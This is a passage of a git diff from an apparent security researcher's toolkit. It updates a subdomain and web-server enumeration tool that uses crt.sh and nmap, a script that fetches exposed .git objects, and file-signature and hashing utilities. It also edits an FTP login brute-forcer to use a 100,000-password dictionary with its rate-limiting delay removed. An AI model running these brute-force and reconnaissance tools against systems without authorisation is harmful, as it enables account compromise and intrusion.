".format( + ip.split(b"address")[1].decode("utf-8")) ip_html = ip_html + "" nmap_html = "
" @@ -151,24 +288,33 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

".format(port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "
" # HTTP response headers response_headers_html = "" for header in response_headers.keys(): - response_headers_html = response_headers_html + "

{} : {}

".format( + response_headers_html = response_headers_html + "

{} : {}

".format( header, response_headers[header] ) + element_class_name = 'result_{}'.format(element_class_name_iterator) + element_class_name_iterator += 1 html = """ - - + + + + - """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) + """.format( + (http_status_code // 100), + http_status_code_color, + element_class_name, + http_status_code, + url, + url, + (http_status_code // 100), + element_class_name, + screenshot_name, + screenshot_name, + response_headers_html, + ip_html, + nmap_html + ) html_output.write(html) html_output.flush() return @@ -192,7 +352,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ def create_output_footer(html_output): html = """ -
-

HTTP Response Status: {}

-

- {} -

- +
+

+ HTTP Response Status: {} + {} +

+
+ + + @@ -184,7 +330,21 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ {}
+ + """ @@ -209,7 +370,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses 'https': 'https://' } - print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) + print('\t--> {}{}{}{}'.format(colors['magenta'], protocols.get(proto.lower()), domain, colors['white'])) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -231,7 +392,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, + show=False): """ enumerates domain from domains """ @@ -241,26 +403,29 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], + iterator, number_of_domains, colors['white'])) # IP address - ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout + ip = subprocess.run( + ["host", d], capture_output=True, timeout=15).stdout nmap_output = '' - + if nmap == True: # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if + port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) time.sleep(1) - + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) @@ -285,34 +450,58 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, pass -def main(): +def enumerate_from_crt_sh(domain): + ''' + Perform subdomains enumeration using crt.sh service + ''' + base_url = "https://crt.sh/?q={}&output=json".format(domain) + data = {} + enumerated_subdomains = [] + resp = requests.get(base_url) + + if resp.status_code == 200: + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['common_name'] not in enumerated_subdomains: + enumerated_subdomains.append(elem['common_name']) + + if len(enumerated_subdomains) > 0: + print("{}[+] Done! Found {} subdomains, performing HTTP servers enumeration...{}".format( + colors['cyan'], len(enumerated_subdomains), colors['white'])) + return enumerated_subdomains + else: + exit("[-] No data retrieved for domain {}".format(domain)) + + +def main(): parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( - "-t", "--timeout", help="Max. request timeout (default = 2)") + "-t", "--target", + help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( - "-s", "--success", help="Show all responses, including exceptions") + "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( - "-o", "--output", help="Path to output file") + "-o", "--output", help="Path to text output file with all domains with identified web servers") parser.add_argument( - "-d", "--dir", help="Output directory name (default: report/") + "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", + default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", + action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) args = parser.parse_args() - if args.timeout: - timeout = args.timeout if args.nmap: nmap = True @@ -325,17 +514,20 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200','301','500'] + allowed_http_responses = ['200', '301', '500'] nmap_top_ports = args.ports # set options show = True if args.success else False - if args.file is not None and os.path.isfile(args.file): + # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: + if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() + elif args.target is not None and args.file is None: + domains = enumerate_from_crt_sh(args.target) else: - exit('[-] Can not open {} file with domains list :/'.format(args.file)) + exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') # create dir for HTML report if os.path.isdir('reports') == False: @@ -344,15 +536,17 @@ def main(): os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') + html_output = open( + 'reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # if output filename was specified, create it and use to write report result if args.output: - output_filename = os.path.join('reports', output_directory, args.output) + output_filename = os.path.join( + 'reports', output_directory, args.output) output_file = open(output_filename, 'w+') else: - output_file = '__enumerated_domains.txt' + output_file = open('__enumerated_domains.txt', 'w+') # main loop enumerate_domains(domains, output_file, html_output, diff --git a/diggit/src/diggit.py b/diggit/diggit.py similarity index 82% rename from diggit/src/diggit.py rename to diggit/diggit.py index ea52f3a..d682b06 100755 --- a/diggit/src/diggit.py +++ b/diggit/diggit.py @@ -1,7 +1,5 @@ #!/usr/bin/python -# -# bl4de | | https://twitter.com/_bl4de -# +## # diggit - gets .git repository import argparse import os @@ -32,29 +30,28 @@ def print_banner(): def print_object_details(objtype, objcontent, objhash, objfilename): """Prints and saves object details/content""" - print "\n" + term["cyan"] + "#" * 12 + " " + objhash \ - + " information " + "#" * 12 + term["endl"] - print "\n{0}[*] Object type: {3}{2}{1}{3}".format( - term["green"], objtype, term["red"], term["endl"]) - + print("\n" + term["cyan"] + "#" * 12 + " " + objhash + + " information " + "#" * 12 + term["endl"]) + print("\n{0}[*] Object type: {3}{2}{1}{3}".format( + term["green"], objtype, term["red"], term["endl"])) if objfilename != "": global localgitrepo tmpfp = localgitrepo + "/" + objfilename - print "{0}[*] Object filename: {3}{2}{1}{3}".format( - term["green"], objfilename, term["red"], term["endl"]) - print "{0}[*] Object saved in {2}:{1}".format( - term["green"], term["endl"], tmpfp) + print("{0}[*] Object filename: {3}{2}{1}{3}".format( + term["green"], objfilename, term["red"], term["endl"])) + print("{0}[*] Object saved in {2}:{1}".format( + term["green"], term["endl"], tmpfp)) tmpfile = open(tmpfp, "w") tmpfile.write("// diggit.py by @bl4de | {} content\n".format(objhash)) tmpfile.writelines(objcontent) tmpfile.close() - print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) + print("{0}[*] Object content:{1}\n".format(term["green"], term["endl"])) if len(objcontent) < 2048: - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + print("{0}{1}{2}".format(term["yellow"], objcontent, term["endl"])) else: - print "{}[!] file too big to preview - {} kB{}".format( - term["red"], len(objcontent)/1024, term["endl"]) + print("{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"])) def get_object_url(objhash): @@ -115,7 +112,8 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): parser.add_argument('-t', help='path to temporary Git folder on local machine') parser.add_argument('-o', help='object hash (SHA-1, all 40 characters)') - parser.add_argument('-r', default=False, + parser.add_argument('-r', + action="store_true", help='be recursive (if commit or tree hash ' 'found get all blobs too). Default is \'False\'') @@ -136,4 +134,4 @@ def save_git_object(baseurl, objhash, berecursive, objfilename=""): if baseurl and objecthash: print_banner() save_git_object(args.u, args.o, berecursive, "") - print "\n" + term["cyan"] + "#" * 78 + term["endl"] + print("\n" + term["cyan"] + "#" * 78 + term["endl"]) diff --git a/enumeratescope.sh b/enumeratescope.sh deleted file mode 100755 index af4550b..0000000 --- a/enumeratescope.sh +++ /dev/null @@ -1,103 +0,0 @@ -#!/bin/bash -# Subdomain enumeration and web server discovery + screenshot tools -# -# @author: bl4de -# @licence: MIT -# - -HOME=/Users/bl4de - -## create domains/ folder -create_domains_folder() { - if [ ! -d domains ]; then - mkdir domains - echo -e "$(date) domains/ folder created" >> subdomain_enum.log - fi -} - - -## perform sublist3r and amass enumeration on each domain passed as an argument -enumerate_domain() { - local DOMAIN=$1 - echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log - sublister -d $DOMAIN -o domains/$DOMAIN.sublister - # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass - - if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then - cat domains/$DOMAIN.* > domains/$DOMAIN.all - sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN - fi - rm -f domains/$DOMAIN.* - echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log -} - -## processing all outputed list of domains into one, removing dups -## and sorting -create_list_of_domains() { - echo -e "$(date) create final list of domains found..." >> subdomain_enum.log - # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final - rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log -} - - -## runs denumerator -run_denumerator() { - echo $1 - echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log - echo -e "$(date) denumerator finished" >> subdomain_enum.log - echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log -} - - -## performs nmap scan -run_virustotal_enum() { - echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log - # run virustotal.py reverse domain search - virustotal --cidr $CIDR --output domains/virustotal.domains - echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log -} - - -## ----------------------------------------------------------------------------- - -# list of domains - text file, one domain in single line -DOMAINS=$1 - -# output directory for denumerator -OUTPUT_DIR=$2 - -# IP address range -CIDR=$3 - -echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log - -# enusre that domains/ folder exists, if not create one -create_domains_folder - -if [[ -n $CIDR ]]; then - run_virustotal_enum -fi - -cat $DOMAINS | while read DOMAIN -do - enumerate_domain $DOMAIN -done - -# concatenate and sort all domains from the target -create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" - -# run denumerator on the domains/domains.final output file -run_denumerator $OUTPUT_DIR - -echo -e "\n[+} DONE." - -## ----------------------------------------------------------------------------- - - diff --git a/fixgz b/fixgz new file mode 100755 index 0000000..71f6d9c Binary files /dev/null and b/fixgz differ diff --git a/fixgz.cpp b/fixgz.cpp new file mode 100644 index 0000000..1e869c6 --- /dev/null +++ b/fixgz.cpp @@ -0,0 +1,52 @@ +/* fixgz attempts to fix a binary file transferred in ascii mode by + * removing each extra CR when it followed by LF. + * usage: fixgz bad.gz fixed.gz + + * Copyright 1998 Jean-loup Gailly + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the author be held liable for any damages + * arising from the use of this software. + + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely. + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + int c1, c2; /* input bytes */ + FILE* in; /* corrupted input file */ + FILE* out; /* fixed output file */ + + if (argc <= 2) { + fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n"); + exit(1); + } + in = fopen(argv[1], "rb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot open %s\n", argv[1]); + exit(1); + } + out = fopen(argv[2], "wb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot create %s\n", argv[2]); + exit(1); + } + + c1 = fgetc(in); + + while ((c2 = fgetc(in)) != EOF) { + if (c1 != '\r' || c2 != '\n') { + fputc(c1, out); + } + c1 = c2; + } + if (c1 != EOF) { + fputc(c1, out); + } + exit(0); + return 0; /* avoid warning */ +} \ No newline at end of file diff --git a/ftpLoginBruteforcer.py b/ftpLoginBruteforcer.py index 93c80df..5f85dd6 100755 --- a/ftpLoginBruteforcer.py +++ b/ftpLoginBruteforcer.py @@ -20,15 +20,14 @@ print ftp.getwelcome() # pwds = ['root','123456','password'] tries = 0 -# for p in open('/Users/bl4de/hacking/dictionaries/passwords_5445.txt', 'r').readlines(): -for p in open('./passwords.txt', 'r').readlines(): -# for p in pwds: +for p in open('/Users/bl4de/hacking/dictionaries/100000_passwords.txt', 'r').readlines(): + # for p in pwds: try: tries = tries + 1 print "[+] try {}: trying {}:{}".format(tries, username, p.strip()) resp = ftp.sendcmd('USER {}'.format(username)) print resp - time.sleep(4) + # time.sleep(4) resp = ftp.sendcmd('PASS {}'.format(p.strip())) print resp print "[+] Logged in! -> {}".format(str(resp)) @@ -36,4 +35,3 @@ except Exception, e: print e pass - diff --git a/hasher.py b/hasher.py index 91f9ac0..562bf93 100755 --- a/hasher.py +++ b/hasher.py @@ -1,9 +1,8 @@ -#!/usr/bin/python +#!/usr/bin//env python3 ### github.com/bl4de | hackerone.com/bl4de ### import sys import hashlib -import urllib import base64 description = """ @@ -11,24 +10,54 @@ usage: ./hasher.py [string_to_hash] """ +colors = { + "WHITE": '\33[37m', + "GREEN": '\33[32m', + "MAGENTA": '\33[35m', + "CYAN": '\33[36m', + "GREY": '\33[90m', + "LIGHTGREY": '\33[37m' +} + def usage(): - print description + ''' + prints usage info + ''' + print(description) exit(0) + def hex_encode(s): + ''' + HEX-encode string + ''' enc = '' for c in s: - enc = enc + (str(hex(ord(c))).replace('0x','')) + enc = enc + (str(hex(c)).replace('0x', '')) return enc def main(s): - print "SHA1\t\t{}".format(hashlib.sha1(s).hexdigest()) - print "MD5 \t\t{}".format(hashlib.md5(s).hexdigest()) - print "Base64 \t\t{}".format(base64.b64encode(s)) - print "URL-encoded \t{}".format(urllib.pathname2url(s)) - print "HEX encoded \t{}".format(hex_encode(s)) + ''' + prints all hashes for provided string + ''' + algorithms_available = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', + 'sha512', 'blake2s', 'blake2b'] + print(f"\n{colors['GREEN']}HASHES:{colors['WHITE']}\n") + for h in algorithms_available: + if hasattr(hashlib, h): + try: + h_method = getattr(hashlib, h) + print( + f"{colors['GREY']}{h}\t\t{colors['CYAN']}{h_method(s.encode('utf-8')).hexdigest()}") + except TypeError as e: + pass + print(f"\n{colors['GREEN']}ENCODE:{colors['WHITE']}\n") + print( + f"{colors['GREY']}Base64 \t\t{colors['CYAN']}{base64.b64encode(s.encode('utf-8'))}") + print( + f"{colors['GREY']}HEX encoded \t{colors['CYAN']}{hex_encode(s.encode('utf-8'))}") if __name__ == "__main__": diff --git a/hexview/hexview.py b/hexview/hexview.py index 2a0e7a8..8467d2d 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/local/homebrew/bin/python3 """ based on: "Tutorial: Making your own Hex Dump Program" by DrapsTV https://www.youtube.com/watch?v=B8nRrw_M_nk&index=1&list=WL @@ -9,172 +9,173 @@ import itertools import binascii -ASCII = 'ascii' -CTRL = 'ctrl' -OTHER = 'other' +ASCII = "ascii" +CTRL = "ctrl" +OTHER = "other" # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { - 'a1b2c3d4': 'Libpcap File Format', + "a1b2c3d4": "Libpcap File Format", # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', - 'd4c3b2a1': 'Libpcap File Format', - '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', - 'edabeedb': 'RedHat Package Manager (RPM) package', - '53503031': 'Amazon Kindle Update Package', - '00': 'IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file', - 'BEBAFECA': 'Palm Desktop Calendar Archive', - '00014244': 'Palm Desktop To Do Archive', - '00014454': 'Palm Desktop Calendar Archive', - '00010000': 'Palm Desktop Data File (Access format)', - '00000100': 'Computer icon encoded in ICO file format', - '667479703367': '3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files', - '1FA0': 'Compressed file (often tar zip) using LZH algorithm', - '425A68': 'Compressed file using Bzip2 algorithm', - '474946383761': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF87a', - '474946383961': 'Image file encoded in the Graphics Interchange Format (GIF) - GIF89a', - 'FFD8FFE00010': 'JPEG raw or in the JFIF or Exif file format', - '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', - '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', - '49492A0010000000': 'Canon RAW Format Version 2', - '4352': 'Canon RAW format is based on the TIFF file format', - '802A5FD7': 'Kodak Cineon image', - '524E4301': 'Compressed file using Rob Northen Compression version 1', - '524E4302': 'Compressed file using Rob Northen Compression version 2', - '53445058': 'SMPTE DPX image (big endian format)', - '58504453': 'SMPTE DPX image (little endian format)', - '762F3101': 'OpenEXR image', - '425047FB': 'Better Portable Graphics', - 'FFD8FFDB': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001': 'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1': 'JPEG raw or in the JFIF or Exif file format', - '464F52': 'IFF Interleaved Bitmap Image', - '4C424D': 'IFF Interleaved Bitmap Image', - '464F52': 'IFF 8-Bit Sampled Voice', - '535658': 'IFF 8-Bit Sampled Voice', - '464F524D': 'IFF (misc filetypes)', - '4C5A4950': 'lzip compressed file', - '4D5A': 'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304': 'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506': 'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708': 'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700': 'RAR archive version 1.50 onwards', - '526172211A070100': 'RAR archive version 5.0 onwards', - '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A': 'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE': 'Java class file, Mach-O Fat Binary', - 'EFBBBF': 'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE': 'Mach-O binary (32-bit)', - 'FEEDFACF': 'Mach-O binary (64-bit)', - 'CEFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE': 'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000': 'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053': 'PostScript document', - '25504446': 'PDF document', - '3026B2758E66CF11': 'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C': 'Advanced Systems Format (asf, wma, wmv)', - '2453444930303031': 'System Deployment Image, a disk image format used by Microsoft', - '4F676753': 'Ogg, an open source media container format', - '38425053': 'Photoshop Document file, Adobe Photoshop native file format', - 'FFFB': 'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', - '494433': 'MP3 file with an ID3v2 container', - '424D': 'BMP file, a bitmap format used mostly in the Windows world', - '4344303031': 'ISO9660 CD/DVD image file', - '53494D504C452020': 'Flexible Image Transport System (FITS)', - '664C6143': 'Free Lossless Audio Codec (flac)', - '4D546864': 'MIDI sound file', - 'D0CF11E0A1B11AE1': 'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', - '6465780A30333500': 'Dalvik Executable', - '4B444D': 'VMDK files', - '43723234': 'Google Chrome extension or packaged app', - '41474433': 'FreeHand 8 document', - '05070000424F424F': 'AppleWorks 5 document', - '0607E100424F424F': 'AppleWorks 6 document', - '455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '8B455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '7801730D626260': 'Apple Disk Image file', - '78617221': 'eXtensible ARchive format', - '504D4F43434D4F43': 'Windows Files And Settings Transfer Repository', - '4E45531A': 'Nintendo Entertainment System ROM file', - '7573746172003030': 'tar archive', - '7573746172202000': 'tar archive', - '746F7833': 'Open source portable voxel file', - '4D4C5649': 'Magic Lantern Video file', - '44434D0150413330': 'Windows Update Binary Delta Compression', - '377ABCAF271C': '7-Zip File Format', - '1F8B': 'GZIP file', - 'FD377A585A0000': 'XZ compression utility using LZMA/LZMA2 compression', - '04224D18': 'LZ4 Frame Format', - '4D534346': 'Microsoft Cabinet file', - '535A444488F02733': 'Microsoft compressed file in Quantum format', - '464C4946': 'Free Lossless Image Format', - '1A45DFA3': 'Matroska media container, including WebM', - '3082': 'DER encoded X.509 certificate', - '4449434D': 'DICOM Medical File Format', - '774F4646': 'WOFF File Format 1.0', - '774F4632': 'WOFF File Format 2.0', - '3c3f786d6c20': 'eXtensible Markup Language (xml) when using the ASCII character encoding', - '0061736d': 'WebAssembly binary format', - 'cf8401': 'Lepton compressed JPEG image', - '435753': 'flash .swf', - '465753': 'flash .swf', - '213C617263683E': 'linux deb file', - '52494646': 'Google WebP image file', - '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', - '7B5C72746631': 'Rich Text Format', - '54415045': 'Microsoft Tape Format', - '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', - '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', - '7801': 'zlib (No Compression/low)', - '789c': 'zlib (Default Compression)', - '78da': 'zlib (Best Compression)', - '1F8B0800': 'Minecraft Level Data File (NBT)', - '62767832': 'LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)', - '4F5243': 'Apache ORC (Optimized Row Columnar) file format', - '4F626A01': 'Apache Avro binary file format', - '53455136': 'RCFile columnar file format', - '65877856': 'PhotoCap Object Templates', - '5555aaaa': 'PhotoCap Vector', - '785634': 'PhotoCap Template', - '50415231': 'Apache Parquet columnar file format', - '454D5832': 'Emulator Emaxsynth samples', - '454D5533': 'Emulator III synth samples', - '1B4C7561': 'Lua bytecode' + "d4c3b2a1": "Libpcap File Format", + "0a0d0d0a": "PCAP Next Generation Dump File Format (pcapng)", + "edabeedb": "RedHat Package Manager (RPM) package", + "53503031": "Amazon Kindle Update Package", + "00": "IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file", + "BEBAFECA": "Palm Desktop Calendar Archive", + "00014244": "Palm Desktop To Do Archive", + "00014454": "Palm Desktop Calendar Archive", + "00010000": "Palm Desktop Data File (Access format)", + "00000100": "Computer icon encoded in ICO file format", + "667479703367": "3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files", + "1FA0": "Compressed file (often tar zip) using LZH algorithm", + "425A68": "Compressed file using Bzip2 algorithm", + "474946383761": "Image file encoded in the Graphics Interchange Format (GIF) - GIF87a", + "474946383961": "Image file encoded in the Graphics Interchange Format (GIF) - GIF89a", + "FFD8FFE00010": "JPEG raw or in the JFIF or Exif file format", + "49492A00": "Tagged Image File Format (tiff, Little Endian format)", + "4D4D002A": "Tagged Image File Format (tiff, Big Endian)", + "49492A0010000000": "Canon RAW Format Version 2", + "4352": "Canon RAW format is based on the TIFF file format", + "802A5FD7": "Kodak Cineon image", + "524E4301": "Compressed file using Rob Northen Compression version 1", + "524E4302": "Compressed file using Rob Northen Compression version 2", + "53445058": "SMPTE DPX image (big endian format)", + "58504453": "SMPTE DPX image (little endian format)", + "762F3101": "OpenEXR image", + "425047FB": "Better Portable Graphics", + "FFD8FFDB": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE000104A4649460001": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE1": "JPEG raw or in the JFIF or Exif file format", + "464F52": "IFF Interleaved Bitmap Image", + "4C424D": "IFF Interleaved Bitmap Image", + "464F52": "IFF 8-Bit Sampled Voice", + "535658": "IFF 8-Bit Sampled Voice", + "464F524D": "IFF (misc filetypes)", + "4C5A4950": "lzip compressed file", + "4D5A": "DOS MZ executable file format and its descendants (including NE and PE)", + "504B0304": "zip file format and formats based on it, such as JAR, ODF, OOXML", + "504B0506": "zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)", + "504B0708": "zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)", + "526172211A0700": "RAR archive version 1.50 onwards", + "526172211A070100": "RAR archive version 5.0 onwards", + "7F454C46": "ELF Executable and Linkable Format", + "89504E470D0A1A0A": "Image encoded in the Portable Network Graphics format (PNG)", + "CAFEBABE": "Java class file, Mach-O Fat Binary", + "EFBBBF": "UTF-8 encoded Unicode byte order mark, commonly seen in text files", + "FEEDFACE": "Mach-O binary (32-bit)", + "FEEDFACF": "Mach-O binary (64-bit)", + "CEFAEDFE": "Mach-O binary (reverse byte ordering scheme, 32-bit)", + "CFFAEDFE": "Mach-O binary (reverse byte ordering scheme, 64-bit)", + "FFFE": "Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format", + "FFFE0000": "Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format", + "25215053": "PostScript document", + "25504446": "PDF document", + "3026B2758E66CF11": "Advanced Systems Format (asf, wma, wmv)", + "A6D900AA0062CE6C": "Advanced Systems Format (asf, wma, wmv)", + "2453444930303031": "System Deployment Image, a disk image format used by Microsoft", + "4F676753": "Ogg, an open source media container format", + "38425053": "Photoshop Document file, Adobe Photoshop native file format", + "FFFB": "MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)", + "494433": "MP3 file with an ID3v2 container", + "424D": "BMP file, a bitmap format used mostly in the Windows world", + "4344303031": "ISO9660 CD/DVD image file", + "53494D504C452020": "Flexible Image Transport System (FITS)", + "664C6143": "Free Lossless Audio Codec (flac)", + "4D546864": "MIDI sound file", + "D0CF11E0A1B11AE1": "Compound File Binary Format, a container format used for document by older versions of Microsoft Office", + "6465780A30333500": "Dalvik Executable", + "4B444D": "VMDK files", + "43723234": "Google Chrome extension or packaged app", + "41474433": "FreeHand 8 document", + "05070000424F424F": "AppleWorks 5 document", + "0607E100424F424F": "AppleWorks 6 document", + "455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "8B455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "7801730D626260": "Apple Disk Image file", + "78617221": "eXtensible ARchive format", + "504D4F43434D4F43": "Windows Files And Settings Transfer Repository", + "4E45531A": "Nintendo Entertainment System ROM file", + "7573746172003030": "tar archive", + "7573746172202000": "tar archive", + "746F7833": "Open source portable voxel file", + "4D4C5649": "Magic Lantern Video file", + "44434D0150413330": "Windows Update Binary Delta Compression", + "377ABCAF271C": "7-Zip File Format", + "1F8B": "GZIP file", + "FD377A585A0000": "XZ compression utility using LZMA/LZMA2 compression", + "04224D18": "LZ4 Frame Format", + "4D534346": "Microsoft Cabinet file", + "535A444488F02733": "Microsoft compressed file in Quantum format", + "464C4946": "Free Lossless Image Format", + "1A45DFA3": "Matroska media container, including WebM", + "3082": "DER encoded X.509 certificate", + "4449434D": "DICOM Medical File Format", + "774F4646": "WOFF File Format 1.0", + "774F4632": "WOFF File Format 2.0", + "3c3f786d6c20": "eXtensible Markup Language (xml) when using the ASCII character encoding", + "0061736d": "WebAssembly binary format", + "cf8401": "Lepton compressed JPEG image", + "435753": "flash .swf", + "465753": "flash .swf", + "213C617263683E": "linux deb file", + "52494646": "Google WebP image file", + "27051956": "U-Boot / uImage. Das U-Boot Universal Boot Loader", + "7B5C72746631": "Rich Text Format", + "54415045": "Microsoft Tape Format", + "000001BA": "MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)", + "000001B3": "MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)", + "7801": "zlib (No Compression/low)", + "789c": "zlib (Default Compression)", + "78da": "zlib (Best Compression)", + "1F8B0800": "Minecraft Level Data File (NBT)", + "62767832": "LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)", + "4F5243": "Apache ORC (Optimized Row Columnar) file format", + "4F626A01": "Apache Avro binary file format", + "53455136": "RCFile columnar file format", + "65877856": "PhotoCap Object Templates", + "5555aaaa": 